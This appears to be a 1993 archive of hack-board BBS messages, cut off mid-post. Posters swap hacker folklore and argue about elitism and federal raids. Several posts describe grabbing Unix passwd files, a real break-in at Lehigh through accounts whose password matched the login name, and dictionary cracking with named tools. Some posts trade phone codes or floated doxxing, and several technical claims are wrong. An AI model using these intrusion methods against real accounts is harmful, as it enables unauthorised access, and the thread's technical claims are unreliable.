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Date: Sat Oct 9 14:30:33 1993
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I like that.. Very nice.
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From tyrant@yabbs Sat Oct 9 14:32:08 1993
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From: tyrant@yabbs
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To: proteus@yabbs
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Subject: re: good old days
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Date: Sat Oct 9 14:32:08 1993
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Of course, the other problem is that now there are a lot of people who
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pretend that they know a lot more than everyone else. In reality, they
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don't know all that much more. It's important to remeber that no one can
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know everything!
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ea
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From liqjesus@yabbs Sun Oct 10 14:39:03 1993
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From: liqjesus@yabbs
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To: all@yabbs
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Subject: sysops from hell
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Date: Sun Oct 10 14:39:03 1993
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Well, my thinking these days is that if I get pissed off at a sysop
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or his board, I just stop calling. I don't care if he's the
|
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"elitest" bastard in the world. If more people practiced this idea,
|
|
soon those snotty sysops would find their user base dwindle down to
|
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nothing.
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|
-LJ-
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From wonko@yabbs Wed Oct 13 08:48:00 1993
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From: wonko@yabbs
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To: all@yabbs
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Subject: re: tftp
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Date: Wed Oct 13 08:48:00 1993
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who is this Flare guy, and should i bother replying to his post?
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as for the bbs thing, as soon as i have the machine (read: i need $$$)
|
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to run it from, i want to run yabbs as a multiline bbs. free access.
|
|
real damn easy to get on, no questions to answer, just don't annoy
|
|
people, that is my policy. there is one user in particular that i
|
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won't let on any board i ever run. he has to argue with everyone and
|
|
is rarely right. he is one hell of an annoyance. he would be booted.
|
|
that is the only requirement to be on my bbs. don't be an asshole.
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sorry if this don't make sense, i'm tired as usual. got to stop staying
|
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up till 2am coding. duh.
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-wonko
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From Flare@yabbs Wed Oct 13 19:36:50 1993
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From: Flare@yabbs
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To: all@yabbs
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Subject: re: replies.
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Date: Wed Oct 13 19:36:50 1993
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xor.. Could you(or anyone) tell me some anon ftp sites whre i can get
|
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stuff such as toneloc?
|
|
l8r
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From Flare@yabbs Wed Oct 13 19:40:27 1993
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From: Flare@yabbs
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To: wonko@yabbs
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Subject: re: tftp
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Date: Wed Oct 13 19:40:27 1993
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|
Well, geeze, sorry if i did something wrong that im not aware of...btw, do
|
|
you know what CCII stands for?)
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From wonko@yabbs Thu Oct 14 11:49:24 1993
|
|
From: wonko@yabbs
|
|
To: Flare@yabbs
|
|
Subject: re: tftp
|
|
Date: Thu Oct 14 11:49:24 1993
|
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|
|
you didn't do anything wrong. when i tried replying to your
|
|
original message your name had a - before it and one after
|
|
and when i tried replying it said no user with that
|
|
name exists.. i was just wondering if you actually exsited
|
|
so i wasn't wasting me breath.
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|
|
|
let me look back through the messages to see what i sould have
|
|
replied to.
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|
|
|
-wonko
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|
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From wonko@yabbs Thu Oct 14 11:51:03 1993
|
|
From: wonko@yabbs
|
|
To: Flare@yabbs
|
|
Subject: re: tftp
|
|
Date: Thu Oct 14 11:51:03 1993
|
|
|
|
you wanted to know about passwd files. still want to know??
|
|
|
|
-wonko
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|
From xenon@yabbs Thu Oct 14 15:28:08 1993
|
|
From: xenon@yabbs
|
|
To: wonko@yabbs
|
|
Subject: re: tftp
|
|
Date: Thu Oct 14 15:28:08 1993
|
|
|
|
thats the kinda system id like to run. seeing as how i cant even afford a
|
|
new HD for my c=64 bbs, tho, forget about a multi-line free-access unix
|
|
system from me for a while...heh. right now, id just be happy to get
|
|
freeport running again.
|
|
|
|
as for the obnoxious users, why dont u just let the other bbs users deal
|
|
with them...a pea-brained user like that could easily conned by sum e-mail
|
|
social engineering to give an offended person their phone, name, etc.
|
|
then, its up to yer users imagination what they're gonna get...heh
|
|
|
|
yer alwys gonna run th risk that sum assholes gonna give yer # to the
|
|
feds. I say, the more the marrier. you might even get them to post and
|
|
respond! well, i guess thats asking a bit too much, eh? i mean, as long
|
|
as yer not running sum warez d00d bbs, and have stuff like that in the
|
|
file transfers, yer gonna get a LOT of support from others in the computer
|
|
community if sum asswipe fed thinks yer bbs contains "illegal" material.
|
|
Oh no! they're talking bout grabbing passwd files and running them thru
|
|
killer kracker! bust the bbs! Thats just BS in the lowest form.
|
|
besides, the feds are on the run...they've realized that they cant just go
|
|
around and close down bbss anymore. people arent gonna stand for them
|
|
infringing on their rights to free speech.
|
|
|
|
im not saying that all feds are assholes, but i dont know any personally
|
|
and juging by their recent activities within the computer community, thats
|
|
my impression. its just a bunch of political BS. Presidences MUST be set
|
|
NOW before more injustice is done! the whole Steve ackson games trial wuz
|
|
total shit...BUT good came out of it! im extremly glad that SJ Games
|
|
wasnt forced into finantual ruin like craig niedorf was. i only wish that
|
|
i could support them, but, alas, i cant even afford a new hd...
|
|
|
|
i fully support eff, albiet they are a touch consertive, but it is a
|
|
start. also, with the vast amount of confrences that bring feds, hackers,
|
|
and other interested parties togeather, i can see an understanding
|
|
developing between the parties. at least, a wide variety of views are
|
|
shared amoung the attendees, (or so ive read...ive never been able to
|
|
attend one although i would REALLY like to...)
|
|
|
|
how this post became so long, i dont know...anywayz, if anyone in or near
|
|
the 313 area would like to pitch sum monetary support my way in exchange
|
|
for a ride and a room to a confrence like i mentioned before, lemme know
|
|
thru e-mail. here or at ks3502@emunix.emich.edu.
|
|
|
|
l9er,
|
|
---> Xenon
|
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From Darkman@yabbs Fri Oct 15 11:26:29 1993
|
|
From: Darkman@yabbs
|
|
To: all@yabbs
|
|
Subject: re: santafe bbs
|
|
Date: Fri Oct 15 11:26:29 1993
|
|
|
|
Umm...I keep trying to logon to Santafe, but when I connect it gives me no
|
|
prompt or anything and it responds to nothing that I enter. It just cr's
|
|
to the next line and lets me type some more. I'm convinced that the os is
|
|
laughing at me!!! Waht Gives? I just want an email acct...
|
|
|
|
|
|
From ea@yabbs Fri Oct 15 15:53:39 1993
|
|
From: ea@yabbs
|
|
To: xenon@yabbs
|
|
Subject: re: tftp
|
|
Date: Fri Oct 15 15:53:39 1993
|
|
|
|
Well, I'm not sure if I agree with your handling of bad BBS users. It
|
|
seems to me that if you leave it entirely up to the other users that the
|
|
user will get angry (more likely to go to the feds), and more importantly,
|
|
that you will waste a lot of space on silly messages bashing other users..
|
|
|
|
Ea, he whom nothing escapes.
|
|
|
|
From Flare@yabbs Fri Oct 15 20:47:06 1993
|
|
From: Flare@yabbs
|
|
To: wonko@yabbs
|
|
Subject: re: tftp
|
|
Date: Fri Oct 15 20:47:06 1993
|
|
|
|
Oh, ok.. Well, remember there was a crash or something a little bit ago
|
|
here.
|
|
|
|
From Flare@yabbs Fri Oct 15 20:47:24 1993
|
|
From: Flare@yabbs
|
|
To: wonko@yabbs
|
|
Subject: re: tftp
|
|
Date: Fri Oct 15 20:47:24 1993
|
|
|
|
yes please(thanx.)
|
|
|
|
From pyro@yabbs Fri Oct 15 23:34:15 1993
|
|
From: pyro@yabbs
|
|
To: ea@yabbs
|
|
Subject: re: tftp
|
|
Date: Fri Oct 15 23:34:15 1993
|
|
|
|
Well, if you havrun the type of BBS that should worry about being busted
|
|
by the friendly FBI then perhaps you should KNOW, in some way, everyone on
|
|
your BBS. You would be stupid to let anyone on who might turn you in. The
|
|
whole idea is just insane...
|
|
|
|
If it is a piblic BBS... Well, do what you have to I guess. Its my
|
|
opinion that a really good BBS does nopt have to worry about such people.
|
|
Either the quality of the BBS detracts from such meaningless non-sense, or
|
|
the users take care of it. Oh well. To each his own.
|
|
|
|
-Pyro
|
|
|
|
From ea@yabbs Sun Oct 17 15:16:41 1993
|
|
From: ea@yabbs
|
|
To: pyro@yabbs
|
|
Subject: re: tftp
|
|
Date: Sun Oct 17 15:16:41 1993
|
|
|
|
It seems to me that one of the main problems is that people haven't caught
|
|
on -- if they want to bust your bbs, they can. They'll get on. It's not
|
|
that hard. Make sure that it is legal.
|
|
And everything will be okay.
|
|
|
|
|
|
From DrClaw@yabbs Mon Oct 18 02:15:49 1993
|
|
From: DrClaw@yabbs
|
|
To: all@yabbs
|
|
Subject: looking for board
|
|
Date: Mon Oct 18 02:15:49 1993
|
|
|
|
UYo,
|
|
i am looking for some good boards in area code 303...anyone
|
|
have any good numbers...i am willing to trade the dialout there for
|
|
some...
|
|
mail me at regan10458 shit make that regan1048@bestsd.sdsu.edu if you are
|
|
interested... thanks
|
|
|
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|
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|
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From xenon@yabbs Mon Oct 18 11:39:20 1993
|
|
From: xenon@yabbs
|
|
To: ea@yabbs
|
|
Subject: re: tftp
|
|
Date: Mon Oct 18 11:39:20 1993
|
|
|
|
yeah, but who to say whats legal??? i mean, seems to me that bbss are
|
|
being busted for the stupidest reasons.
|
|
|
|
make sure that it is legal...and everything might be ok...
|
|
--> Xenon
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|
From Kel'anth@yabbs Mon Oct 18 20:36:54 1993
|
|
From: Kel'anth@yabbs
|
|
To: htoaster@yabbs
|
|
Subject: re: hackers test
|
|
Date: Mon Oct 18 20:36:54 1993
|
|
|
|
re: mirroring eff.org
|
|
|
|
WHY? I mean, you've already got the gopher gateway to there, and there are
|
|
plenty of other sites mirroring that archive. Sorry to be sticking my nose
|
|
in your business or whatever, but I just kinda hate to see good HD space
|
|
wasted on stuff everyone knows where to look for, when ya got spacve you
|
|
could be using for much more, well, unique and eclectic type of files.
|
|
Please try to at least think about it...
|
|
|
|
|
|
From htoaster@yabbs Mon Oct 18 21:20:58 1993
|
|
From: htoaster@yabbs
|
|
To: Kel'anth@yabbs
|
|
Subject: re: hackers test
|
|
Date: Mon Oct 18 21:20:58 1993
|
|
|
|
In message re: hackers test, Kel'anth said:
|
|
> re: mirroring eff.org
|
|
|
|
wow...that was an old message...
|
|
|
|
i'm not mirroring them, because i do have the gopher link to them and the
|
|
etext archives. If you have anything you want on the ftp site let me know,
|
|
since it has about 10 megs or so free...
|
|
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|
htoaster
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From deprogra@yabbs Tue Oct 19 01:21:20 1993
|
|
From: deprogra@yabbs
|
|
To: all@yabbs
|
|
Subject: toronto dialout
|
|
Date: Tue Oct 19 01:21:20 1993
|
|
|
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|
|
After I connect to pacx.utcs.utoronto.ca and enter MODEM, I get garbage
|
|
and it does not seem to accept any commands. Any ideas?
|
|
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|
|
From Kryptic@yabbs Tue Oct 19 02:12:16 1993
|
|
From: Kryptic@yabbs
|
|
To: all@yabbs
|
|
Subject: SMC BBS 503
|
|
Date: Tue Oct 19 02:12:16 1993
|
|
|
|
Servants of the Mushroom Cloud
|
|
(503)NUC-LEAR
|
|
14.4k
|
|
Over 600 files
|
|
Specializing in H/P/A/C/V
|
|
High Priest -=- Kryptic Night
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| /\/\ /
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| / \ /
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|/| / / \
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| < \
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/ | \ \
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| \
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| \
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Experience the Salvation!
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|
Home of SMC and the Doctrines of Deceit... an upcoming magazine orientated
|
|
towards the high-end hacker. For more information please contact me, or
|
|
another group member, on this board or through email at
|
|
nickel@rigel.cs.pdx.edu or nighttime ftp submission at 128.2.117.124
|
|
(login as smc/submit) (submissions only)
|
|
|
|
The number to the BBS is 503-251-3763 - All may apply... but only hackers
|
|
may succeeed... Various levels of access for various levels of skill. Call
|
|
and get NUKED!
|
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|
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From jcjc@yabbs Tue Oct 19 04:05:22 1993
|
|
From: jcjc@yabbs
|
|
To: liqjesus@yabbs
|
|
Subject: re: BBS's, etc.
|
|
Date: Tue Oct 19 04:05:22 1993
|
|
|
|
Well, last message I wrote, I was talking about the problems with software
|
|
0 - 3 minute old software, its a exageration - but thats how dumb its
|
|
getting
|
|
I dont get it... Whats wrong with this Warez Generation - they take up too
|
|
much space!!! I have a 451 MB hard drive, and I would like to be able
|
|
to fill it up with NEW software, but I have not the space, and these
|
|
programs are just TOO BIG!!! so if I wanted to run an AE - Ascii Exchange,
|
|
I am sure I could do it... but I dont know if I want to... anyways, in
|
|
case no one got it, I am against Warez, I have access to boards with them
|
|
on there, but I am against them! ok, I might be joining a group called
|
|
"Phiber Weasles" its a H/P grouyp, ohh well, my GF is moving back to
|
|
Texas... SHIT!... wants to live with her parrents.. I'm gonna help her
|
|
pack this weekend.. talk to you all later
|
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-[jc]2 <---SysOp of Apocalyptic Electron --AE--
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From PBandana@yabbs Tue Oct 19 15:02:26 1993
|
|
From: PBandana@yabbs
|
|
To: wonko@yabbs
|
|
Subject: pword files
|
|
Date: Tue Oct 19 15:02:26 1993
|
|
|
|
Well, I'd like to know about password files ...
|
|
advTHANKSance
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|
-=-=-=-=-=-=-=-
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PurPle BaNdana
|
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-=-=-=-=-=-=-=-
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From wonko@yabbs Tue Oct 19 17:50:04 1993
|
|
From: wonko@yabbs
|
|
To: PBandana@yabbs
|
|
Subject: re: pword files
|
|
Date: Tue Oct 19 17:50:04 1993
|
|
|
|
very simple,
|
|
|
|
in the directory /etc is a file named passwd
|
|
it has all the account userids and passwords (encoded) and other
|
|
neat info like what shell they use when the log on and what
|
|
group they are a part of.
|
|
|
|
that is how it used to be anyway, now, in the slot where the password
|
|
goes you usually find an '*' in it's place. this means the
|
|
passwords are in a file called shadow, which only root has rights to.
|
|
|
|
i will post a small example sometime when i have the chance, maybe
|
|
next message.
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-wonko
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ps -- hope it was helpful.
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From wonko@yabbs Tue Oct 19 19:00:29 1993
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From: wonko@yabbs
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To: PBandana@yabbs
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Subject: re: pword files
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Date: Tue Oct 19 19:00:29 1993
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here is a small passwd file i quick made up:
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root:IIOV8Fxdm.Lw:0:0:Root Login:/:/bin/csh
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here is a description of each entry:
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root - login name
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IIOV8Fxdm.Lw - encrypted password with key
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first 0 - user ID
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second 0 - group
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Root Login - In real life entry, usually real name
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:/ - home directory - rooit gets root, imagine that.
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:/bin/csh - shell
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if the password has an * in it's place it is shadowed.
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gotta go, mj is paging me.
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From cosmos@yabbs Wed Oct 20 01:11:18 1993
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From: cosmos@yabbs
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To: DrClaw@yabbs
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Subject: re: looking for board
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Date: Wed Oct 20 01:11:18 1993
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K00l K0dEz!
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Cosmos
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From wonko@yabbs Wed Oct 20 08:37:13 1993
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From: wonko@yabbs
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To: cosmos@yabbs
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Subject: re: pword files
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Date: Wed Oct 20 08:37:13 1993
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here is a little trick we picked up from hacking lehigh u.
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grab the passwd file. even if the accounts are shadowed try this.
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try the login as the password, you will be suprised how many actually
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work. we got into lehigh that way. none of the student accounts
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are in passwd, they are all in shadow with no reference from passwd
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(something my sysadmin was teaching me how to do, cuts down on one
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big ass security hole. most people don't play with what they can't
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see) but the maint accounts and admin accounts were all in passwd but
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shadowed. out of the 37 accounts in passwd 17!!!!!!!! used the login
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as the passwd. that has been changed because of me, but i had to make
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a deal somehow. i said yea, if i give you info about your system to
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help with security holes, you get me off light. they said ok, i told
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them about 5 of the 17 accounts, a week later all 17 were changed.
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i guess they descided to check them all. oh well.
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-wonko
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From Flare@yabbs Wed Oct 20 19:31:12 1993
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From: Flare@yabbs
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To: wonko@yabbs
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Subject: re: pword files
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Date: Wed Oct 20 19:31:12 1993
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Try the login as the password? what does that sentence mean?
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From cosmos@yabbs Wed Oct 20 20:38:43 1993
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From: cosmos@yabbs
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To: Flare@yabbs
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Subject: re: pword files
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Date: Wed Oct 20 20:38:43 1993
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*grin*
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It means if you have the account "guest" use that as the password.
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Next step for you is to hit the library and get some UNIX books.
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Cosmos
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From wonko@yabbs Thu Oct 21 11:09:23 1993
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From: wonko@yabbs
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To: cosmos@yabbs
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Subject: re: pword files
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Date: Thu Oct 21 11:09:23 1993
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that is a good idea, read, it is the second best way to learn.
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i would recomend "Using Unix" by: Que for unix stuff
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i ripped a copy from a local book store an i must say it
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is the best steal so far. very good info.
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if you want info about internet, i would recommend:
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"The Whole Internet: User's Guide & Catalog"
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by: Ed Krol, published by O"Reilly & Associates, Inc.
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l8r all,
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-wonko
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ps-- i am going to look at used Suns tonight, hope i find something
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i like that i can afford.
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From hbeast@yabbs Fri Oct 22 08:34:29 1993
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From: hbeast@yabbs
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To: all@yabbs
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Subject: learning
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Date: Fri Oct 22 08:34:29 1993
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Speaking of where new people can learn, how about those education boards?
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Which breings me to my question, how many of those are still up?
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(Like the Phoenix Project, Phreak Klass 2600, etc).
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This wasn't phrased so well. I don't want to know if TPJ or PK are up, I
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want to know about current educational boards.
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herd beast
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From cosmos@yabbs Fri Oct 22 16:42:16 1993
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From: cosmos@yabbs
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To: hbeast@yabbs
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Subject: re: learning
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Date: Fri Oct 22 16:42:16 1993
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Um, I never learned anything much from any board. Even the so-called best
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and most elite...cept how to inflate my ego.
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If you want to learn, start hitting the books, and experimenting with
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systems. Start with a public acces *NIX account and go from there. Dont
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expect people to tell you what to do. Use your own curiosity and drive to
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feed your mind, this is true hacking.
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Anyone can get K00l K0dEz and 0-3 day WaReZ.
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Boards can give you small pointers...if you can wade through most of the
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lite buulshit.
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Cosmos
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From Green@yabbs Fri Oct 22 18:57:02 1993
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From: Green@yabbs
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To: cosmos@yabbs
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Subject: re: learning
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Date: Fri Oct 22 18:57:02 1993
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Yeah .. another thing I've learned about hacking in general (I've only
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been interested for 2 months or so now seriously) is that you should watch
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what people say to you; ie, don't jump and do whatever people tell you to
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do.
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Hey man, telnet 127.0.0.1 19 and use the password 'wiz', it's an elite
|
|
backdoor.. riiiight. Don't give in to people on irc saying 'gimme ur
|
|
el3et wareZzzz'.. Don't let yourself be pushed around, ask a lot of
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questions, read a lot of man pages, experiment a lot.
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Persistence has, IMHO, taught me a lot more than eliteness.
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green
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From jasonlee@yabbs Fri Oct 22 19:06:52 1993
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From: jasonlee@yabbs
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To: cosmos@yabbs
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Subject: re: learning
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Date: Fri Oct 22 19:06:52 1993
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I think one of the best ways to learn is to find some ex-hacker who can
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|
tell you all the cool stories of the past and encourage you to progress on
|
|
your own. A mentor is what I'm suggesting. That's how I got interested
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in stuff.
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|
JasonLee
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From cosmos@yabbs Sat Oct 23 15:11:29 1993
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From: cosmos@yabbs
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To: Green@yabbs
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Subject: re: learning
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Date: Sat Oct 23 15:11:29 1993
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Very good observations. Well, I have been actively into the hacking state
|
|
since '85 or so. It has changed alot and in my opinion has spiraled into
|
|
a who is better than who state. Oh well. I stand back and observe mostly
|
|
now. Try to help out when possible. Flame the lamers...:)
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Good luck in your endeavours.
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Cosmos
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From cosmos@yabbs Sat Oct 23 15:14:36 1993
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From: cosmos@yabbs
|
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To: jasonlee@yabbs
|
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Subject: re: learning
|
|
Date: Sat Oct 23 15:14:36 1993
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Not true. Cool stories of past follies does nothing than perpetuate
|
|
legend and eliteness. It is always fun to hear them and admire their
|
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accomplishments, but it tends to put visions of sugarplum fairies dancing
|
|
in their heads....if you know what I mean. A mentor is a good thing to
|
|
have. If that mentor does nothing but encourage and teach the operating
|
|
system to you...a mentor that hands out codes and loopholes perpetuates
|
|
the problems.
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|
Cosmos
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From xenon@yabbs Sat Oct 23 16:42:46 1993
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From: xenon@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: learning
|
|
Date: Sat Oct 23 16:42:46 1993
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|
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true, but stories are good so people know what was possible at one time..
|
|
if ya kno what people have been able to do and how they did it, it
|
|
promotes a deeper understanding of the system. sumone who just hands out
|
|
codez isnt a teacher, i agree, but ya gotta know the history to be able to
|
|
understand the bare essentuals. besides, culture is something that keeps
|
|
a culture togeather...
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|
|
--> Xenon
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From xenon@yabbs Sat Oct 23 16:44:03 1993
|
|
From: xenon@yabbs
|
|
To: xenon@yabbs
|
|
Subject: re: learning
|
|
Date: Sat Oct 23 16:44:03 1993
|
|
|
|
er, folklore is sumthing that keeps a culture togeather...
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From Intruder@yabbs Sat Oct 23 17:34:03 1993
|
|
From: Intruder@yabbs
|
|
To: wonko@yabbs
|
|
Subject: re: pword files
|
|
Date: Sat Oct 23 17:34:03 1993
|
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|
Yo!
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|
Hhehehe yah that trick isa very fuuny! i dunno why those operators dont
|
|
hide that passwd files! it is so imple to get it! i got some account on an
|
|
system this way!!! My friend try a university here in my area and when he
|
|
logoin into one of the server they were nothing so he find that strange,
|
|
and when he have do ctrl D well he saew a pomrp! yah the system was so
|
|
lame thsat when people loss crrier the system dont logoff the guyz
|
|
mouahaha! then he go to dir /etc and dl the passwd files!!!
|
|
Anyway you just chek the username if they loook like this
|
|
|
|
Bergeron::100;20:Stepahne Bergeron:/home/bergeron ...
|
|
^
|
|
there it is supposed to be the pw! so if they are nothing that means they
|
|
y
|
|
are no pw!!! the rest of the time it is encrypt thing but it is possiblre
|
|
to deecnrypt them with some mathematical operation like ADN or OR
|
|
locical!!!
|
|
|
|
Intruder/MYTH+EMPIRE is outta here!!!
|
|
|
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|
|
From pharmer@yabbs Sun Oct 24 00:54:22 1993
|
|
From: pharmer@yabbs
|
|
To: Intruder@yabbs
|
|
Subject: re: pword files
|
|
Date: Sun Oct 24 00:54:22 1993
|
|
|
|
You can't decrypt them, but you can make brute force attacks by running a
|
|
dictionary against the encrypted passwords, get a hold of something like
|
|
cracker jack 1.4 and a big dictionary. Also, run the passwd on the system
|
|
whose file you grabbed so that you know if a word has to have a number at
|
|
some point, or must contain a capitla letter, then pre-process your
|
|
dictionary so that it meets those requirements. Of course, i am not
|
|
advocating that you do this, just that if you were, theoretically trying
|
|
to get passwords, this would be a way to do it.
|
|
-me
|
|
|
|
From Datastre@yabbs Sun Oct 24 05:56:46 1993
|
|
From: Datastre@yabbs
|
|
To: all@yabbs
|
|
Subject: <no title>
|
|
Date: Sun Oct 24 05:56:46 1993
|
|
|
|
The Sanctuary UK
|
|
+44-812042182
|
|
8pm-8am GMT
|
|
'For the sierous h/p enthusast'
|
|
h/p only.
|
|
SysOp: |>atastream Cowboy
|
|
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|
|
From swami@yabbs Sun Oct 24 12:43:48 1993
|
|
From: swami@yabbs
|
|
To: all@yabbs
|
|
Subject: PGP
|
|
Date: Sun Oct 24 12:43:48 1993
|
|
|
|
So what do ya'll think about PGP?
|
|
|
|
swami
|
|
|
|
From Intruder@yabbs Sun Oct 24 13:38:14 1993
|
|
From: Intruder@yabbs
|
|
To: pharmer@yabbs
|
|
Subject: re: pword files
|
|
Date: Sun Oct 24 13:38:14 1993
|
|
|
|
Yo!
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|
|
|
Well you maybe going to be surprised but it is Possible to deencrypt them!
|
|
since my firne din Sweden have deencrypt 26 users name with his small
|
|
program! and i can tel you the pw he find were not easy to find like
|
|
SEAME01, or NET01 thing that have absolutely nothing to do with the
|
|
udernamne! Now i am looking for a way to enter a system where i dont have
|
|
any access at all!!! is there a way to enter? i dunno with some default
|
|
username or whatver?
|
|
|
|
Intruder/MYTH+EMPIRE is outta here!!!
|
|
|
|
|
|
From Intruder@yabbs Sun Oct 24 13:40:03 1993
|
|
From: Intruder@yabbs
|
|
To: Datastre@yabbs
|
|
Subject: re: <no title>
|
|
Date: Sun Oct 24 13:40:03 1993
|
|
|
|
Hmmm
|
|
|
|
do you know if they are some OD for UK? hehehe i might be interested in
|
|
calling there! shit here in Montreal, Canada getting codez is like almost
|
|
impossible!!!
|
|
|
|
Intruder/MYTH+EMPIRE is outta here!!!
|
|
|
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|
|
From cosmos@yabbs Sun Oct 24 15:18:40 1993
|
|
From: cosmos@yabbs
|
|
To: Intruder@yabbs
|
|
Subject: re: <no title>
|
|
Date: Sun Oct 24 15:18:40 1993
|
|
|
|
So is MYTH+EMPIRE a real K00l 3lit3 K-RaD group?? Perhaps like, NASP,
|
|
Nuke, KoK, and countless others.
|
|
|
|
Can you get me some real neato codes too??? God, I just love codes.
|
|
|
|
Cosmos
|
|
|
|
From xenon@yabbs Sun Oct 24 18:57:28 1993
|
|
From: xenon@yabbs
|
|
To: Intruder@yabbs
|
|
Subject: re: pword files
|
|
Date: Sun Oct 24 18:57:28 1993
|
|
|
|
right, you can decrypt /etc/passwd. uh huh...sure...Id love to see that
|
|
program of yers! why dont u put up the source? that wud make me a
|
|
believer!
|
|
|
|
--> Xenon
|
|
|
|
From ziplock@yabbs Sun Oct 24 19:56:41 1993
|
|
From: ziplock@yabbs
|
|
To: xenon@yabbs
|
|
Subject: re: pword files
|
|
Date: Sun Oct 24 19:56:41 1993
|
|
|
|
Decrypting passwd's in /etc/passwd is not that hard. I would venture
|
|
a guess that 90% of university computing sites have at least one
|
|
entry where the passwd is the same as the login name and away you go.
|
|
Making a test for "joe" passwd's where the user has just used their
|
|
login name for the passwd is extremely easy and doesn't produce anywhere
|
|
near the kind of noticable load that running crack with fat dictionaries
|
|
will. All you do is grab the user names, crypt them, compare them, go
|
|
on to the next one. A 300-user passwd file can be done in a minute or
|
|
two on a reasonable machine.
|
|
|
|
From cosmos@yabbs Sun Oct 24 20:22:05 1993
|
|
From: cosmos@yabbs
|
|
To: xenon@yabbs
|
|
Subject: re: pword files
|
|
Date: Sun Oct 24 20:22:05 1993
|
|
|
|
I think he meant a program like Muffet's Crack or Crackerjack. That can
|
|
match encrypted passwd's. In any case that is easy enough. I have never
|
|
seen a program to decrypt straight passwords...
|
|
|
|
Or perhaps another misinformed user... :)
|
|
|
|
Cosmos
|
|
|
|
From Kryptic@yabbs Sun Oct 24 23:45:55 1993
|
|
From: Kryptic@yabbs
|
|
To: all@yabbs
|
|
Subject: oasswd
|
|
Date: Sun Oct 24 23:45:55 1993
|
|
|
|
|
|
Just to clear up a misconception... * means that the login is notable to
|
|
be logged into noramlly.. 'x' means shadow... * would be used on shit like
|
|
ftp... not really feasable to hack on...
|
|
|
|
From xenon@yabbs Mon Oct 25 01:57:00 1993
|
|
From: xenon@yabbs
|
|
To: ziplock@yabbs
|
|
Subject: re: pword files
|
|
Date: Mon Oct 25 01:57:00 1993
|
|
|
|
what i got outta the post is that he wuz able to decrypt /etc/passwd
|
|
straight. i know bout the crypt/compare bit...no biggie in that. if,
|
|
however, the claim was to take cryped input, run thru sum algorythum, and
|
|
output a de-crypet output, THAT is what i wud like to see. However,
|
|
unless the NSA is involved, i dont think so...heh...if the NSA IS
|
|
involved, i really wouldnt like to see it either...heh
|
|
|
|
--> Xenon
|
|
|
|
From xenon@yabbs Mon Oct 25 02:00:06 1993
|
|
From: xenon@yabbs
|
|
To: Intruder@yabbs
|
|
Subject: EMPIRE
|
|
Date: Mon Oct 25 02:00:06 1993
|
|
|
|
you wouldn't happen to do 64 demos, or is it just warez? If ya do demos,
|
|
ya gotta give me a number to call and get em...
|
|
|
|
--> Xenon (still uses his 64)
|
|
|
|
From jasonlee@yabbs Mon Oct 25 02:45:35 1993
|
|
From: jasonlee@yabbs
|
|
To: ziplock@yabbs
|
|
Subject: re: pword files
|
|
Date: Mon Oct 25 02:45:35 1993
|
|
|
|
Yeah, but you didn't describe decrypting! That's just encryppting a
|
|
dictionary and comparing to an encrypted list! Not the same thing.
|
|
If you could decrypt a passwd, you could get each and every single passwd
|
|
on the system. Good luck with decryption...:)
|
|
|
|
JasonLee
|
|
|
|
From cosmos@yabbs Mon Oct 25 05:38:44 1993
|
|
From: cosmos@yabbs
|
|
To: Intruder@yabbs
|
|
Subject: re: <no title>
|
|
Date: Mon Oct 25 05:38:44 1993
|
|
|
|
Hmmmm....wow, you are just so kewl. Notice the header of this message
|
|
base....HACK. Not WaReZ...but seriously, Amiga and C64 warez groupies
|
|
always have their shit together. PAL to NTSC- fuck, I am just so
|
|
impressed.
|
|
|
|
Enjoy your K-RaD 3lit3 k0deZ kiddies.
|
|
|
|
Cosmos
|
|
|
|
From iceman@yabbs Mon Oct 25 13:54:12 1993
|
|
From: iceman@yabbs
|
|
To: Intruder@yabbs
|
|
Subject: Sigh
|
|
Date: Mon Oct 25 13:54:12 1993
|
|
|
|
Are you really as stupid as you sound? You cannot decrypt a crypt() result
|
|
since it's a 1 way hash. You can brute force them with a cracker and a
|
|
dictionary, this is no doubt what he did. It's a widely known fact, and
|
|
your not the first to consider it.
|
|
|
|
iceman [GnUL0D!!]]
|
|
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From cosmos@yabbs Mon Oct 25 14:33:22 1993
|
|
From: cosmos@yabbs
|
|
To: jasonlee@yabbs
|
|
Subject: re: Pword cracker locations...
|
|
Date: Mon Oct 25 14:33:22 1993
|
|
|
|
Good one....I love it! :)
|
|
|
|
OR you can ask on alt.security, comp.security.misc, and comp.security.unix
|
|
they always jump at the chance to help out...
|
|
|
|
Cosmos
|
|
|
|
From cosmos@yabbs Mon Oct 25 14:35:37 1993
|
|
From: cosmos@yabbs
|
|
To: iceman@yabbs
|
|
Subject: re: Sigh
|
|
Date: Mon Oct 25 14:35:37 1993
|
|
|
|
Probably. Well, actually he posesses the skills to login and post, so he
|
|
cant be all that bad. Actually, I think it is great that they are letting
|
|
Jerry's Kids logon and post these days.
|
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|
|
Cosmos
|
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|
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From pharmer@yabbs Mon Oct 25 15:52:35 1993
|
|
From: pharmer@yabbs
|
|
To: phragger@yabbs
|
|
Subject: re: pword files
|
|
Date: Mon Oct 25 15:52:35 1993
|
|
|
|
well, I found a copy of cracker jack in wuarchive, in the msdos uploads
|
|
section this summer, but I'm sure that it is gone now. Most decent h/p
|
|
boards should have a copy of one of them, cracker jack is the fastest I've
|
|
seen so far, the latest version I have seen is 1.4.
|
|
-pharmer
|
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From xenon@yabbs Mon Oct 25 16:37:59 1993
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From: xenon@yabbs
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To: cosmos@yabbs
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Subject: re: Sigh
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Date: Mon Oct 25 16:37:59 1993
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i like the dcc idea...ill volenteer to send it ;)...
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From feralkid@yabbs Mon Oct 25 17:33:44 1993
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From: feralkid@yabbs
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To: all@yabbs
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Subject: decrypt passwd
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Date: Mon Oct 25 17:33:44 1993
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Actually, there is a program out here on the Internet called the Crypt
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Breaker's Workshop (or someting to that effect). Anyway, this was written
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years ago by the senior Morris (Robert Morris father, who is a top
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researcher for NSA). He proved that you arew able to decrypt the one-way
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hash of the crypt program.
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You can find this program at a good archive near you...
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Feral Kid
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From Intruder@yabbs Mon Oct 25 19:04:28 1993
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From: Intruder@yabbs
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To: Kryptic@yabbs
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Subject: re: oasswd
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Date: Mon Oct 25 19:04:28 1993
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Yo!
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Well thanks for the info !!! i know like sysadm daemon and all those
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account with higher priv. have that!!! oh well no chance to hack those
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snif !!!
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Intruder/MYTH+EMPIRE is outta here!!!
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From Intruder@yabbs Mon Oct 25 19:12:13 1993
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From: Intruder@yabbs
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To: iceman@yabbs
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Subject: re: Sigh
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Date: Mon Oct 25 19:12:13 1993
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Hmm
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I never say that the program really encrypt or deencrypt it find the pw i
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know that hehehe, but the moethod it use i really dunno! i just know that
